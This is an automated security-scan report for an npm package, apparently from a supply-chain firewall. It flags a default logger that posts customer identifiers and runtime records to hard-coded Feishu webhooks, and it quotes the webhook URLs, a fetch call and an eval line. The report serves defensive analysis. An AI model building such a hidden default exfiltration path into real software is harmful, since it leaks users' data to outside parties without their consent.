@pisell/pisellos@2.3.169
一个可扩展的前端模块化SDK框架，支持插件系统
AI Security Review
scanned 8d ago · by lpm-firewall-aiInspected source confirms a default outbound logging path that sends customer identifiers and runtime context to a hard-coded external webhook. This is concrete data exfiltration, not merely a network-capable logger.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
ScanOrder initialization followed by customer-login or other logged operations.
Impact
Customer identifiers and runtime data are disclosed to an externally selected recipient without recipient-specific consent.
Mechanism
The logger builds records from context and payload, then posts them to the default webhook when no provider configuration overrides it.
Attack narrative
When ScanOrder initializes without a supplied logger configuration, it selects a hard-coded Feishu webhook. Customer-login handling logs the customer identifier, and the logger serializes record context and payload before posting the body to that webhook. This establishes automatic disclosure of runtime data to the package-selected endpoint.
AI rationale
Inspected source confirms a default outbound logging path that sends customer identifiers and runtime context to a hard-coded external webhook. This is concrete data exfiltration, not merely a network-capable logger.
Evidence
dist/solution/ScanOrder/index.jsdist/modules/ScanOrderLogger/index.jsdist/modules/ScanOrderLogger/providers/feishu.js
Network endpoints1
open.feishu.cn
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- ScanOrder defaults to a Feishu logger and a hard-coded webhook when no logger configuration is supplied.
- The customer-login handler logs the customer identifier.
- The logger serializes context and payload into records and sends them to the selected provider.
- The Feishu provider posts the log body to its webhook.
Evidence against
Behavioral surface
EnvironmentVarsEvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcedist/plugins/window.jsView file
•matchType = normalized_sha256
matchedPackage = @pisell/pisellos@2.2.317
matchedPath = dist/plugins/window.js
matchedIdentity = npm:QHBpc2VsbC9waXNlbGxvcw:2.2.317
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/plugins/window.jsView on unpkg248} else {
L249: eval(handler);
L250: }
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/plugins/window.jsView on unpkg · L248dist/solution/ScanOrder/index.jsView file
•Default hardcoded logging webhook in dist/solution/ScanOrder/index.js:
this.store.scanOrderLogger.setProviderConfig(((_this$otherParams5 = this.otherParams) === null || _this$otherParams5 === void 0 ? void 0 : _this$otherParams5.scanOrderLoggerConfig)...
webhook: 'https://open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7ed',
errorHook: 'https://open.feishu.cn/open-apis/bot/v2/hook/015b7c2a-dd3c-4c30-9898-ef0f5253111f'
Rich runtime records posted to the webhook in [redacted].js:
var context = record.context || {};
text: "\u65E5\u5FD7\u5185\u5BB9: ".concat(safeStringify(record.payload), "\n")
text: "\u6269\u5C55\u4FE1\u606F: ".concat(safeStringify(record.extra), "\n")
return fetch(webhook, {
Reachable runtime logger calls in dist/modules/Order/index.js:
this.logger.addL
Findings
1 Critical3 High3 Medium5 Low
CriticalHardcoded Runtime Data Exfiltrationdist/solution/ScanOrder/index.js
HighSemantic Analysis Limitedlib/solution/RegisterAndLogin/utils.js#virtual:normalized:round1
HighKnown Malware Source Similaritydist/plugins/window.js
HighKnown Malware Source Fingerprint Signaturelib/modules/AccountList/index.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/plugins/window.js
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @pisell/pisellos@2.3.169.
See all versions of @pisell/pisellos for other recorded verdicts.
- Avoid installing @pisell/pisellos@2.3.169. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.